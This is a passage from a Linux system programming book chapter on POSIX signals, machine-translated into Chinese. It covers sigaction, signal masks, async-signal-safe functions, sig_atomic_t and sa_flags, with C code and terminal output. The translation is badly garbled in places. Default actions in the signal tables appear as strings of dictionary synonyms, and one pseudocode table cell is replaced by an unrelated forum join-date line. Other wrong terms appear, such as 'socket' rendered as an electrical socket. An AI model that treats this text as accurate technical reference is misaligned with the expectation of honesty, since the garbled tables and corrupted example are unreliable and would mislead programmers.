断开的管道:在没有阅读器的情况下写入管道;请参见管道(7) | -| `SIGALRM` | `14` | 终止 / 使终止 / 以…收尾 / 使结束 | 来自报警的定时器信号(2) | -| `SIGTERM` | `15` | 终止 / 使终止 / 以…收尾 / 使结束 | 终止信号(软杀) | -| `SIGUSR1` | `30,10,16` | 终止 / 使终止 / 以…收尾 / 使结束 | 用户自定义信号 1 | -| `SIGUSR2` | `31,12,17` | 终止 / 使终止 / 以…收尾 / 使结束 | 用户自定义信号 2 | -| `SIGCHLD` | `20,17,18` | 忽视 / 忽略 / 驳回诉讼 / 不理睬 | 子进程已停止或终止 | -| `SIGCONT` | `19,18,25` | 继续 / 坚持下去 / 恢复 / 留在原处 | 如果已停止,则继续 | -| `SIGSTOP` | `17,19,23` | 结束 / 停止 / 填塞 / 堵塞 | 停止进程 | -| `SIGTSTP` | `18,20,24` | 结束 / 停止 / 填塞 / 堵塞 | 在终端键入的停止:`^Z` | -| `SIGTTIN` | `21,21,26` | 结束 / 停止 / 填塞 / 堵塞 | 后台进程的终端输入 | -| `SIGTTOU` | `22,22,27` | 结束 / 停止 / 填塞 / 堵塞 | 后台进程的终端输出 | - -At times, the second column, the signal's integer value, has three numbers. Well, it's like this: the numbers are architecture-(meaning CPU) dependent; the middle column represents the value for the x86 architecture. Always use the symbolic name of the signal in code (such as `SIGSEGV`), including scripts, and never the number (such as `11`). You can see that the numeric value changes with the CPU, which could lead to non-portable buggy code! - -What if the system admin needs to urgently kill a process? Yes, its quite possible that, while logged into an interactive shell, time is very precious and an extra couple of seconds may make a difference. In such cases, typing kill `-9` is better than kill `-SIGKILL`, or even kill `-KILL`. (The previous point is with regard to writing source code). - -Passing the signal number to kill `-l` causes it to print the signal's symbolic name (albeit in a shorthand notation). For example: -`$ kill -l 11` -`SEGV` -`$ ` - -上表(事实上还有下表)表明,除了两个例外,所有信号都有特殊用途。 扫描注释栏可以看到它。 例外是`SIGUSR1`和`SIGUSR2`,它们是通用信号;它们的使用完全取决于应用设计人员的想象力。 - -此外,手册页告诉我们以下信号(如本表所示)较新,并包含在`SUSv2`和`POSIX.1-2001`标准中: - -| **信号** | **整数** -**值** | **默认** -**操作** | **如何** | -| `SIGBUS` | `10,7,10` | 术语和核心 | 总线错误(内存访问错误) | -| `SIGPOLL` | | 终止 / 使终止 / 以…收尾 / 使结束 | 可轮询事件(Sys V)。SIGIO 的同义词 | -| `SIGPROF` | `27,27,29` | 终止 / 使终止 / 以…收尾 / 使结束 | 性能分析计时器已过期 | -| `SIGSYS` | `12,31,12` | 术语和核心 | 错误的系统调用(SVR4);另请参阅 seccomp(2) | -| `SIGTRAP` | `5` | 术语和核心 | 跟踪/断点陷阱 | -| `SIGURG` | `16,23,21` | 忽视 / 忽略 / 驳回诉讼 / 不理睬 | 插座出现紧急情况(4.2BSD) | -| `SIGVTALRM` | `26,26,28` | 终止 / 使终止 / 以…收尾 / 使结束 | 虚拟闹钟(4.2BSD) | -| `SIGXCPU` | `24,24,30` | 术语和核心 | 超过 CPU 时间限制(4.2BSD);请参阅 prLimit(2) | -| `SIGXFSZ` | `25,25,31` | 术语和核心 | 超出文件大小限制(4.2BSD);请参阅 prLimit(2) | - -Newer standard or Unix signals - -同一手册页(`signal(7)`)进一步提到了一些剩余的(不太常见的)信号。 如果你感兴趣的话,请看一看。 - -需要注意的是,在所有提到的信号中,只有两个信号是无法捕获、忽略或阻止的:`SIGKILL`和`SIGSTOP`。这是因为操作系统必须保证有一种方法可以终止和/或停止进程。 - -# 处理信号 - -在本节中,我们将详细讨论应用开发人员如何通过编程(当然是使用 C 代码)准确地处理信号。 - -回过头来看*图 1*,您可以看到 OS*和*如何执行缺省信号处理,该缺省信号处理在向进程传递未捕获的信号时运行。 这看起来不错,直到我们意识到,通常情况下,默认操作是简单地终止(或终止)进程。 如果应用要求我们做其他事情怎么办? 或者,实际上,如果应用确实*和*崩溃,而不是突然死亡(可能会使重要文件和其他元数据处于不一致的状态),该怎么办? 也许我们可以通过执行一些所需的清理、刷新缓冲区、关闭打开的文件、记录状态/调试信息等等来使程序进入正常状态,通知用户事件的错误状态(也许可以用一个很好的对话框),然后*然后*让进程优雅而平静地结束,如果你愿意的话。 - -捕捉或捕捉信号的能力是实现这些目标的关键。 如前所述,为了调整控制流的方向,使其不是默认的信号处理内核代码,而是我们的自定义信号处理代码,该代码在信号到达时执行。 - -那么,我们如何做到这一点呢? 通过使用 API 来注册感兴趣的信号,从而处理信号。 一般而言,有三种 API 可用于捕获或捕获信号: - -* `sigaction(2)`系统调用 -* `signal(2)`系统调用 -* `sigvec(3)`库 API - -嗯,在这三个 API 中,`sigvec`现在被认为是不推荐使用的。 此外,除非工作真的过于简单,否则建议您放弃`signal(2)`API,转而使用`sigaction`API。 有效地,处理信号的强大方法是通过`sigaction(2)`系统调用;这是我们将深入讨论的方法。 - -# 使用 sigaction 系统调用捕获信号 - -`sigaction(2)`系统调用是捕获或捕获信号的正确方法;它功能强大,符合 POSIX,可用于极好地磨练应用的信号处理。 - -在较高级别上,系统调用`sigaction`用于向给定信号的信号处理程序注册。 如果信号的处理程序函数是`foo`,那么我们可以使用`sigaction`函数将其信号处理程序更改为`bar`。像往常一样,我们还可以指定更多内容,这对信号处理有很大的影响,我们很快就会讲到这一点。 以下是我们的签名: - -```sh -#include -int sigaction(int signum, const struct sigaction *act, - struct sigaction *oldact); -``` - -Feature Test Macro Requirements for `glibc` (see `feature_test_macros(7)`): `sigaction()`:  `_POSIX_C_SOURCE` -`siginfo_t`:  `_POSIX_C_SOURCE >= 199309L` - -`sigaction(2)`上的手册页告诉我们(通过 Feature Test Macro Requirements 一节;有关更多详细信息,请参阅更多信息),使用`sigaction`需要定义`_POSIX_C_SOURCE`宏;Linux 上的现代代码几乎总是这样。 此外,使用`siginfo_t`数据结构(将在本章后面介绍)要求您拥有`POSIX`版本`199309L`或更高版本。 (格式是`YYYYMM`;因此,这是 1993 年 9 月的`POSIX`标准草案;同样,在任何相当现代的 Linux 平台上都会出现这种情况)。 - -# 侧边栏-功能测试宏 - -快速离题:特性测试宏是`glibc`特性;它们允许开发人员在编译时通过在源代码中定义这些宏来指定确切的特性集。 手册(手册页)总是指定(根据需要)支持特定 API 或功能所需的功能测试宏。 - -关于这些功能测试宏,在 Ubuntu(17.10)和 Fedora(27)Linux 发行版上,我们已经测试了本书的源代码,`_POSIX_C_SOURCE`的值是`200809L`。宏是在头文件``中定义的,它本身也包含在头文件``中。 - -本书的 GitHub 源代码树中提供了一个简单的测试程序,用于打印几个重要的功能测试宏:[https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux/tree/master/misc](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux/tree/master/misc)。 为什么不在您的 Linux 平台上试一试呢? - -More on feature test macros from the `glibc` documentation: [http://www.gnu.org/software/libc/manual/html_node/Feature-Test-Macros.html](http://www.gnu.org/software/libc/manual/html_node/Feature-Test-Macros.html). - -# Sigaction 结构 - -第一个`sigaction(2)`系统调用接受三个参数,其中第二个和第三个是相同的数据类型。 - -第一个参数`int signum`是要捕获的信号。 这马上揭示了重要的一点:信号应该一次捕获一个信号-您只能通过一次调用`sigaction`捕获一个信号。不要试图过于聪明,而是一起传递信号的位掩码(按位或);这是一个错误。 当然,您始终可以多次调用`sigaction`或循环调用。 - -第二个和第三个参数的数据类型是指向一个结构的指针,该结构也被称为“`sigaction`”。*`sigaction`的结构定义如下(来自标题`/usr/include/bits/sigaction.h`): - -```sh -/* Structure describing the action to be taken when a signal arrives. */ -struct sigaction - { - /* Signal handler. */ -#ifdef __USE_POSIX199309 - union - { - /* Used if SA_SIGINFO is not set. */ - __sighandler_t sa_handler; - /* Used if SA_SIGINFO is set. */ - void (*sa_sigaction) (int, siginfo_t *, void *); - } - __sigaction_handler; -# define sa_handler __sigaction_handler.sa_handler -# define sa_sigaction __sigaction_handler.sa_sigaction -#else - __sighandler_t sa_handler; -#endif - - /* Additional set of signals to be blocked. */ - __sigset_t sa_mask; - - /* Special flags. */ - int sa_flags; - - /* Restore handler. */ - void (*sa_restorer) (void); - }; -``` - -第一个成员是函数指针,它引用信号处理程序函数本身。 在现代 Linux 发行版上,确实会定义`__USE_POSIX199309`宏;因此,可以看到,信号处理程序值是两个元素的并集,这意味着在运行时,将恰好使用其中一个元素。 前面的注释说明了这一点:默认情况下,使用`sa_handler`原型函数;但是,如果传递了标志`SA_SIGINFO`(在第三个成员`sa_flags`中),则使用`sa_sigaction`样式的函数。 我们将很快用示例代码来说明这一点。 - -C 库将`__sighandler_t`指定为:*`typedef void (*__sighandler_t) (int);` - -如前所述,它是指向一个函数的指针,该函数将接收一个参数:整数值(是的,您猜对了:传递的信号)。 - -在深入研究数据结构之前,编写并试用一个简单的 C 程序来处理几个信号,并使用前面提到的大多数`sigaction`结构成员的缺省值,这将是有指导意义的。 - -`ch11/sig2.c`的`main()`函数源代码: - -```sh -int main(void) -{ - unsigned long int i = 1; - struct sigaction act; - - /* Init sigaction to defaults via the memset, - * setup 'siggy' as the signal handler function, - * trap just the SIGINT and SIGQUIT signals. - */ - memset(&act, 0, sizeof(act)); - act.sa_handler = siggy; - if (sigaction(SIGINT, &act, 0) < 0) - FATAL("sigaction on SIGINT failed"); - if (sigaction(SIGQUIT, &act, 0) < 0) - FATAL("sigaction on SIGQUIT failed"); - - while (1) { - printf("Looping, iteration #%02ld ...\n", i++); - (void)sleep(1); - } [...] -``` - -我们故意将`memset(3)`函数结构设置为全零,以便对其进行初始化(初始化在任何情况下都是很好的编码实践!)。 然后,我们将信号处理程序初始化为我们自己的信号处理函数`siggy`。 - -请注意,要捕获两个信号,我们需要两个`sigaction(2)`次系统调用。 第二个参数是指向 struct`sigaction`的指针,它将由程序员填充,并被视为信号的新设置。 第三个参数同样是指向 struct`sigaction`的参数指针;但是,它是一个非空的值-结果类型:如果非空并且已分配,内核将用信号的先前设置填充它。 这是一个有用的功能:如果设计要求您执行某些信号处理的保存和恢复,该怎么办。 这里,作为一个简单的例子,我们只将第三个参数设置为`NULL`,这意味着我们对前面的信号状态不感兴趣。 - -然后我们进入相同的(如`sig1.c`)无限循环...。 我们的简单信号处理函数`siggy`如下所示: - -```sh -static void siggy(int signum) -{ - const char *str1 = "*** siggy: handled SIGINT ***\n"; - const char *str2 = "*** siggy: handled SIGQUIT ***\n"; - - switch (signum) { - case SIGINT: - if (write(STDOUT_FILENO, str1, strlen(str1)) < 0) - WARN("write str1 failed!"); - return; - case SIGQUIT: - if (write(STDOUT_FILENO, str2, strlen(str2)) < 0) - WARN("write str2 failed!"); - return; - } -} -``` - -信号处理程序接收一个整数值作为其参数:导致控件到达此处的信号。 因此,我们可以对多个信号进行多路复用:设置一个公共信号处理程序,并执行一个简单的开关案例操作来处理每个特定信号。 - -当然,信号处理函数的返回类型是`void`。 问问自己:它会回到哪里? 这是个未知数。 请记住,信号可以异步到达;但我们不知道处理程序确切的运行时间。 - -让我们试试看: - -```sh -$ make sig2 -gcc -Wall -c ../common.c -o common.o -gcc -Wall -c -o sig2.o sig2.c -gcc -Wall -o sig2 sig2.c common.o -$ ./sig2 -Looping, iteration #01 ... -Looping, iteration #02 ... -Looping, iteration #03 ... -^C*** siggy: handled SIGINT *** -Looping, iteration #04 ... -Looping, iteration #05 ... -^\*** siggy: handled SIGQUIT *** -Looping, iteration #06 ... -Looping, iteration #07 ... -^C*** siggy: handled SIGINT *** -Looping, iteration #08 ... -Looping, iteration #09 ... -^\*** siggy: handled SIGQUIT *** -Looping, iteration #10 ... -Looping, iteration #11 ... -^Z -[1]+ Stopped ./sig2 -$ kill %1 -[1]+ Terminated ./sig2 -$ -``` - -您可以看到,这一次,应用正在处理`SIGINT`(通过键盘`^C`)和`SIGQUIT`(通过键盘`**^\**`键组合)信号。 - -那么,我们如何终止这款应用呢? 嗯,一种方法是打开另一个终端窗口,然后通过`kill`实用程序杀死这个应用。 不过,目前我们使用另一种方法:我们向进程发送`SIGTSTP`键信号(通过键盘和`**^Z**`键组合),使其进入停止状态;我们返回 shell。 现在,我们只需通过`kill(1)`杀死它。 *(`[1]`是进程的当前作业编号;您可以使用`jobs`命令查看会话中的所有当前作业)。* - - *我们以图表的形式展示这一点,如下所示: - -![](img/871c65ca-8d1e-4ef9-8d22-0ced84f61f91.png) - -Figure 2: Handling a Signal - -显然,正如我们简单的`sig2`应用和*图 2*所演示的那样,一旦信号被捕获(通过系统调用的`sigaction(2)`(或信号)),当它被传递到进程时,控制现在被重新定向到新的特定于应用的信号处理函数,而不是默认的 OS 信号处理代码。(= - -在程序`sig2`中,一切看起来都很好,除了细心的读者可能已经注意到了一个难题:在 Siggy`sig2`信号处理函数的代码中,为什么不直接使用一个简单的`printf(3)`函数来发送消息。 为什么要取消`write(2)`系统调用? 事实上,这背后有一个非常好的原因。 这个,还有更多,都在后面。 - -Trap all required signals as early as possible, in the application's initialization. This is because signals can arrive at any moment; the sooner we are ready to handle them, the better. - -# 屏蔽信号 - -当进程正在运行时,如果它想要阻止(或屏蔽)某些信号,该怎么办? 这确实可以通过 API 接口实现;事实上,`sigaction(2)`结构的第二个成员是信号掩码,它是信号处理程序函数运行时要阻止传递到进程的信号的掩码。 掩码通常暗示信号的按位或运算: - -```sh -... -/* Additional set of signals to be blocked. */ - __sigset_t sa_mask; -... -``` - -一定要注意前面的评论;它暗示一些信号已经被屏蔽了。 是的,确实如此;假设一个进程通过`sigaction`系统调用捕获信号`n`。 在稍后的某个时刻,信号 n 被传递给它;当我们的进程处理信号时-即运行其信号处理程序的代码-该信号 n 被阻止传递给进程。 它被阻塞多长时间?直到我们从信号处理程序返回。换句话说,操作系统自动阻塞当前正在处理的信号。 这通常正是我们想要的,而且对我们有利。 - -# 使用 sigproc 掩码 API 进行信号屏蔽 - -如果我们想在执行过程中阻止(或屏蔽)一些其他信号,该怎么办? 例如,在处理关键代码区域时? 系统调用`sigprocmask(2)`就是为此目的而设计的:`int sigprocmask(int how, const sigset_t *set, sigset_t *oldset);` - -信号集 T 实质上是所讨论的信号的位掩码。 集合是要屏蔽的新信号集合,而集合`oldset`实际上是返回值(参数的返回值-结果类型),或信号掩码的前一个(或当前)值。 参数`how`确定行为,可以采用以下值: - -* `SIG_BLOCK`:此外,还可以阻止(屏蔽)信号集合 1 中指定的信号(以及已经屏蔽的信号) -* `SIG_UNBLOCK`:取消封锁(取消屏蔽)信号集合中指定的信号 -* `SIG_SETMASK`:信号集合中指定的信号被屏蔽,覆盖先前的值 - -# 查询信号掩码 - -因此,我们理解您可以在`sigaction(2)`时(通过` sa_mask`成员)或通过`*s*igprocmask(2)`系统调用(如前所述)设置进程的信号掩码。 但是,您如何准确地查询任意时间点的进程信号掩码的状态呢? - -嗯,再一次,通过`sigprocmask(2)`的系统调用。 但是,从逻辑上讲,这个接口会设置一个掩码,对吧?这就是诀窍:*如果第一个参数设置为`NULL`,那么第二个参数实际上被忽略了,而在第三个参数`oldset`中,填充了当前的信号掩码值,因此我们可以在不改变信号掩码的情况下查询信号掩码。 - -`ch11/query_mask`程序演示了这一点,代码构建在我们前面的示例`sig2.c`的基础上。 因此,我们不需要显示整个源代码;我们只需显示相关代码,如图 3`main()`所示: - -```sh -[...] -/* Init sigaction: - * setup 'my_handler' as the signal handler function, - * trap just the SIGINT and SIGQUIT signals. - */ - memset(&act, 0, sizeof(act)); - act.sa_handler = my_handler; - /* This is interesting: we fill the signal mask, implying that - * _all_ signals are masked (blocked) while the signal handler - * runs! */ - sigfillset(&act.sa_mask); - - if (sigaction(SIGINT, &act, 0) < 0) - FATAL("sigaction on SIGINT failed"); - if (sigaction(SIGQUIT, &act, 0) < 0) - FATAL("sigaction on SIGQUIT failed"); -[...] -``` - -如您所见,这一次我们使用`sigfillset(3)`(有用的`POSIX`信号集操作或`sigsetops(3)`运算符之一)用全 1 填充信号掩码,这意味着在信号处理程序代码运行时,所有信号都将被屏蔽(阻塞)。 - -以下是信号处理程序代码的相关部分: - -```sh -static void my_handler(int signum) -{ - const char *str1 = "*** my_handler: handled SIGINT ***\n"; - const char *str2 = "*** my_handler: handled SIGQUIT ***\n"; - - show_blocked_signals(); - switch (signum) { - [...] -``` - -阿!。 在这里,智能在`show_blocked_signals`函数中;我们在公共代码源文件中有这个函数:`../common.c`。 下面是函数: - -```sh -/* - * Signaling: Prints (to stdout) all signal integer values that are - * currently in the Blocked (masked) state. - */ -int show_blocked_signals(void) -{ - sigset_t oldset; - int i, none=1; - - /* sigprocmask: - * int sigprocmask(int how, const sigset_t *set, sigset_t *oldset); - * if 'set' is NULL, the 'how' is ignored, but the - * 'oldset' sigmask value is populated; thus we can query the - * signal mask without altering it. - */ - sigemptyset(&oldset); - if (sigprocmask(SIG_UNBLOCK, 0, &oldset) < 0) - return -1; - - printf("\n[SigBlk: "); - for (i=1; i<=64; i++) { - if (sigismember(&oldset, i)) { - none=0; - printf("%d ", i); - } - } - if (none) - printf("-none-]\n"); - else - printf("]\n"); - fflush(stdout); - return 0; -} -``` - -这里的关键是:值`sigprocmask(2)`参数与空的第二个参数(要设置的掩码)一起使用;因此,如前所述,将忽略 How 参数,值结果第三个参数`oldset`将保存当前过程信号掩码。 - -我们可以再次使用`sigsetops:`和`sigismember(3)`方便的方法查询位掩码中的每个信号位。现在要做的就是迭代掩码中的每个位并打印信号号(如果设置了位),或者如果清除了就忽略它。 - -以下是测试运行的输出: - -```sh -$ make query_mask -gcc -Wall -c ../common.c -o common.o -gcc -Wall -c -o query_mask.o query_mask.c -gcc -Wall -o query_mask query_mask.c common.o -$ ./query_mask -Looping, iteration #01 ... -Looping, iteration #02 ... -Looping, iteration #03 ... -^C -[SigBlk: 1 2 3 4 5 6 7 8 10 11 12 13 14 15 16 17 18 20 21 22 23 24 25 26 27 28 29 30 31 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 ] -*** my_handler: handled SIGINT *** -Looping, iteration #04 ... -Looping, iteration #05 ... -^\ -[SigBlk: 1 2 3 4 5 6 7 8 10 11 12 13 14 15 16 17 18 20 21 22 23 24 25 26 27 28 29 30 31 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 ] -*** my_handler: handled SIGQUIT *** -Looping, iteration #06 ... -Looping, iteration #07 ... -^Z -[2]+ Stopped ./query_mask -$ kill %2 -[2]+ Terminated ./query_mask -$ -``` - -请注意被阻止的信号是如何打印出来的。 嘿,你能找出丢失的信号吗? - -`SIGKILL(#9)` and `SIGSTOP(#19)` cannot be masked; also, signals 32 and 33 are internally reserved for and used by the `Pthreads` implementation. - -# 操作系统内的侧栏控制信号处理-轮询不中断 - -在这里,我们不打算深入研究 Linux 内核内部信号处理的细节;相反,我们想澄清前面暗示的一个常见误解:处理信号与硬件中断处理完全不同。 信号既不是中断,也不是故障或异常;所有这些-中断、陷阱、异常、故障-都是由计算机上的 PIC/MMU/CPU 硬件引发的。 信号纯粹是一种软件功能。 - -向进程传递信号意味着在任务的任务结构中设置一些成员(在内核内存中),即所谓的`TIF_SIGPENDING`位,以及表示任务的`sigpending`集合中的信号的特定位;这样,内核就知道信号是否以及哪些信号正在等待传递给该进程。(= - -实际情况是,在适当的时间点(定期发生),内核代码检查信号是否等待传递,如果是,则传递它,运行或使用进程的信号处理程序(在 Userland 上下文中)。 因此,信号处理被认为更像是一种轮询机制,而不是中断机制。 - -# 折返式安全和信号 - -在信号处理程序中使用重入不安全(也称为异步信号不安全)函数时,在信号处理过程中有一个需要了解的重要问题。 - -当然,要理解这个问题,你必须首先了解什么是可重入函数,随后,什么是可重入安全函数或异步信号安全函数。 - -# 可重入函数 - -所谓可重入函数是指可以在正在进行的调用仍在运行时重新进入的函数。 它比听起来简单;请查看下面的伪代码片段: - -```sh -signal_handler(sig) -{ - my_foo(); - < ... > -} - -my_foo() -{ - char mybuf[MAX]; - <...> -} - -do_the_work_mate() -{ - my_foo(); - <...> -} -``` - -现在想象一下这一系列活动: - -* 函数`my_foo()`由业务逻辑函数`do_the_work_mate()`调用;它只在本地缓冲区`mybuf`上操作 - -* 当该进程仍在运行时,会向该进程分派一个信号 - -* 信号处理程序代码抢占发生时正在执行的任何内容并运行 - - * 它重新调用函数`my_foo()` - -因此,我们可以看到:函数`my_foo()`重新进入。 就其本身而言,这是可以的;这里重要的问题是:它安全吗? - -回想一下(参见我们在[第 2 章](02.html)、*虚拟内存*中的介绍),进程堆栈用于保存函数调用帧,从而保存任何局部变量。 这里,可重入函数`my_foo()`仅使用局部变量。 它已经被调用了两次;每次调用都是进程堆栈上的一个单独的调用帧。 要点:每次调用`my_foo()`都会处理本地变量`mybuf`的一个副本;因此,它是安全的。 因此,它被记录为 Being`reentrant-safe`。在信号处理上下文中,它被称为 Being`async-signal-safe`:在前一个调用仍在运行的情况下从信号处理程序内调用函数是安全的。 - -好的,让我们在前面的伪代码基础上再添加一个细节:将函数`my_foo()`的局部变量`mybuf`更改为全局(或静态)变量。现在我们来考虑一下重新进入时会发生什么;这一次,截然不同的堆栈调用帧无法拯救我们。 因为`mybuf`是全局的,所以它只有一个副本,从第一次函数调用(通过`do_the_work_mate()`)开始,它将处于不一致的状态。 当第二次调用`my_foo()`时,我们将处理这个不一致的全局`mybuf`,从而破坏它。 因此,很明显,这是不安全的。 - -# 异步信号安全功能 - -一般来说,只使用局部变量的函数是重入安全的;任何全局或静态数据的使用都会使它们变得不安全。 这是一个关键点:您只能在信号处理程序中调用那些记录为重入安全或非信号异步安全的函数。 - -`signal-safety(7)`[http://man7.org/linux/man-pages/man7/signal-safety.7.html](http://man7.org/linux/man-pages/man7/signal-safety.7.html)上的手册页提供了这方面的详细信息。 - -On Ubuntu, the man page with this name (`signal-safety(7)`) was installed in recent versions only; it does work on Ubuntu 18.04. - -其中,它发布了`POSIX.1`标准要求实现以保证实现为异步信号安全的函数列表(按字母顺序排序)(参见 2017-03-13 手册页版本 4.12) - -因此,底线是:在信号处理程序中,您只能调用以下内容: - -* Signal-security(7)手册页中的 C 库函数或系统调用(请务必查找) -* 在第三方库中,明确记录的函数是异步信号安全的 -* 您自己的库或其他已显式编写为异步信号安全的函数 - -此外,不要忘记您的信号处理函数本身必须是重入安全的。 不要访问其中的应用全局变量或静态变量。 - -# 在信号处理程序中确保安全的其他方法 - -如果我们必须在我们的信号处理程序例程中访问某些全局状态,该怎么办? 确实有一些替代方法可以使其信号安全: - -* 此时,您必须访问这些变量,确保所有信号都被阻塞(或屏蔽),并在完成后恢复信号状态(取消屏蔽)。 -* 在访问共享数据的同时对其执行某种锁定操作。 - * 在多进程应用中(我们在这里讨论的情况),(二进制)信号量可以用作锁定机制,以保护跨进程的共享数据。 - * 在多线程应用中,使用适当的锁定机制(可能是互斥锁;当然,我们将在后面的章节中详细介绍这一点)。 -* 如果您的要求是仅对全局整数进行操作(这是信号处理的常见情况!),请使用特殊的数据类型(`sig_atomic_t`)。 稍后见。 - -现实情况是,第一种方法(在需要时阻止信号)在复杂项目的实践中很难实现(尽管您当然可以在处理信号时通过将信号掩码设置为全 1 来安排屏蔽所有信号,如上一节查询信号掩码的*所演示的那样)。* - -第二种方法,锁定,虽然对多进程和多线程应用的性能敏感,但很现实。 - -此时此时此刻,在讨论信号的同时,我们将讨论第三种方法。 另一个原因是,在信号处理程序中处理(查询和/或设置)整数是非常常见的情况。 - -Within the code we show in this book, there is the occasional use of async-signal- unsafe functions being used within a signal handler (usually one of the `[f|s|v]printf(3)` family). We stress that this has been done purely for demonstration purposes only; please do not give into temptation and use async-signal-unsafe functions in production code! - -# 信号安全原子整数 - -可视化多进程应用。 一个进程 A 必须完成一定数量的工作(比方说它必须完成运行一个函数)`foo()`,并让另一个进程 B 知道它已经这样做了(换句话说,我们希望两个进程之间保持同步;也请参见下一个信息框)。 - -实现这一点的一种简单方法如下:让进程`A`发送信号(比如`SIGUSR1`),然后在进程`B`达到所需的点时将其发送给进程`B`。 反过来,进程 B 捕获`SIGUSR1`,当它到达时,在其信号处理程序中,它为适当的消息字符串设置一个全局缓冲区,以便让应用的其余部分知道我们已经到达这一点。 - -在下表中,想象时间线垂直(*y*轴)向下移动。 - -伪代码-错误的方式: - -| **进程 A** | **进程 B** | -| 干活吧 | 设置`SIGUSR1`的信号处理程序 | -| 处理`foo()` | `char gMsg[32];   // global` -做工 | -| `foo()`已完成;发送`SIGUSR1`到进程`B` | | -| | `signal_handler()`*和*函数异步输入 | -| | `strncpy(gMsg, "chkpointA", 32);` | -| [.] | [.] | - -这看起来很好,但请注意,消息缓冲区`gMsg`上的这个全局更新不能保证是原子的。 试图这样做完全有可能导致一场竞赛--在这种情况下,我们无法确切地预测全局变量的最终结果会是什么。 正是这种数据竞赛为一类难以发现和解决的淫秽漏洞提供了完美的滋生地。你必须通过适当的编程实践来避免它们。 - -解决方案是:从使用全局缓冲区切换到数据类型为**`sig_atomic_t`**的类似全局整数的变量,重要的是,将其标记为`volatile`(以便编译器禁用其周围的优化)。 - -伪代码-正确的方式: - -| **进程 A** | **进程 B** | -| 干活吧 | 为`SIGUSR1`设置信号处理程序 | -| 工作`foo()` | **`volatile sig_atomic_t gFlag=0;`** -做功 | -| 加入时间:清华大学 2007 年 01 月 25 日下午 3:33 | | -| | `signal_handler()`*和*函数异步输入 | -| | **`gFlag = 1;`** | -| [.] | [.] | - -这一次,它将工作得很好,没有任何竞争。 (建议读者作为练习编写前一个程序的完整工作代码)。 - -It's important to realize that the usage of `sig_atomic_t` makes an (integer) variable only async-signal safe, not thread-safe. (Thread safety will be covered in detail in later [Chapter 14](14.html), *Multithreading with Pthreads Part I - Essentials*). - -True process synchronization should be performed using an IPC mechanism appropriate for the purpose. Signals do serve as a primitive IPC mechanism; depending on your project,  other IPC mechanisms (sockets, message queues, shared memory, pipes, and semaphores)  might well be a better way to do so, though. - -根据卡内基梅隆大学的软件工程学院(CMU SEI)CERT C 编码标准: - -SIG31-C:*和*不访问信号处理程序*中的共享对象(*[https://wiki.sei.cmu.edu/confluence/display/c/SIG31-C.+Do+not+access+shared+objects+in+signal+handlers](https://wiki.sei.cmu.edu/confluence/display/c/SIG31-C.+Do+not+access+shared+objects+in+signal+handlers)) - -类型`sig_atomic_t`是对象的整数类型,即使在存在异步中断的情况下也可以作为原子实体进行访问。 - -其他注意事项: - -最后一个链接中提供的代码示例也值得一查。 此外,在相同的上下文中,关于执行信号处理的正确方式,请注意以下几点,即 CMU SEI 的 CERT C 编码标准*和*: - -* `SIG30-C`。 只调用信号处理程序中的异步安全函数。 -* `SIG31-C`:我不访问信号处理程序中的共享对象。 -* `SIG34-C`。 不要从可中断信号处理程序内部调用`signal()`。 -* `SIG35-C`。 不要从计算性异常信号处理程序返回。 - -最后一个要点可能用`POSIX.1`委员会的话说得更好: - -对于不是由`kill(2)`、`sigqueue(3)`或`raise(2)`生成的 SIGBUS、SIGFPE、SIGILL 或 SIGSEGV 信号,从信号捕获函数正常返回后,进程的行为未定义。 - -换句话说,一旦您的进程从 OS 接收到前面提到的任何致命信号,它就可以在它的信号处理程序中执行清理,但随后它必须终止。 (请允许我们开个玩笑:电影中的男主人公大喊“今天不行,死吧!”是不错的,但当 SIGBUS、SIGFPE、SIGILL 或 SIGSEGV 打来电话时,是时候清理干净,优雅地死去了!)。 事实上,我们在下一章中对这一方面进行了非常详细的探讨。 - -# 强大的签名旗帜 - -从上一节的`sigaction`结构中,回想一下`sigaction`结构的一个成员如下所示: - -```sh -/* Special flags. */ - int sa_flags; -``` - -这些特殊的旗帜非常有力。 有了它们,开发人员可以精确地指定本来很难或不可能获得的信号语义。 默认值为零表示没有特殊行为。 - -我们将首先枚举此表中的`sa_flags`个可能的值,然后继续使用它们: - -| `sa_flag` | 它提供的行为或语义(参见`sigaction(2)`的手册页)。 | -| `SA_NOCLDSTOP` | 如果`signum`为`SIGCHLD`,则在子项停止或停止子项继续时不生成`SIGCHLD`。 | -| `SA_NOCLDWAIT` | (Linux 2.6 及更高版本)如果`signum`为`SIGCHLD`,则不要在孩子终止时将其转换为僵尸。 | -| `SA_RESTART` | 通过使某些系统调用可跨信号重新启动来提供与 BSD 信号语义兼容的行为。 | -| `SA_RESETHAND` | 进入信号处理程序后,将信号操作恢复为默认值。 | -| `SA_NODEFER` | 不要阻止信号从其自己的信号处理程序中接收。 | -| `SA_ONSTACK` | 在`sigaltstack(2)`提供的备用信号堆栈上调用信号处理程序。 如果备用堆栈不可用,将使用默认(进程)堆栈。 | -| `SA_SIGINFO` | 信号处理程序接受三个参数,而不是一个。 在这种情况下,应设置`sa_sigaction`而不是`sa_handler`。 | - -请记住,`sa_flags`是操作系统解释为位掩码的整数值;对几个标志进行逐位或运算以暗示它们的组合行为确实是常见的做法。 - -# 僵尸未被邀请 - -让我们从旗帜`SA_NOCLDWAIT`开始。 首先,让我快速地跑题: - -正如我们在[第 10 章](10.html),*流程创建*中了解到的,流程可以分叉,从而产生一个创建行为:一个新的子流程诞生了! 从那一章开始,现在可以回顾一下我们的 Fork**规则 7**:父进程必须直接或间接地在每个子进程终止(死亡)时等待(阻塞)。 - -父进程可以通过设置的等待*和*系统调用 API 在子进程终止时等待(阻塞)。 正如我们早先了解到的,这是至关重要的:如果孩子死了,父母没有等待,孩子就会变成僵尸-充其量也就是一种不受欢迎的状态。 在最坏的情况下,它会严重阻塞系统资源。 - -然而,在子进程(或多个子进程)死亡时,通过等待 API 阻塞会导致父进程变得同步;它会阻塞,因此,在某种意义上,它违背了并行化多处理的全部目的。 当我们的孩子去世时,我们不能得到异步的通知吗? 这样,父级可以继续执行处理,并与其子级并行运行。 - -阿!。 救援信号:每当其任何子进程终止或进入停止状态时,操作系统都会向父进程发送中断`SIGCHLD`信号。 - 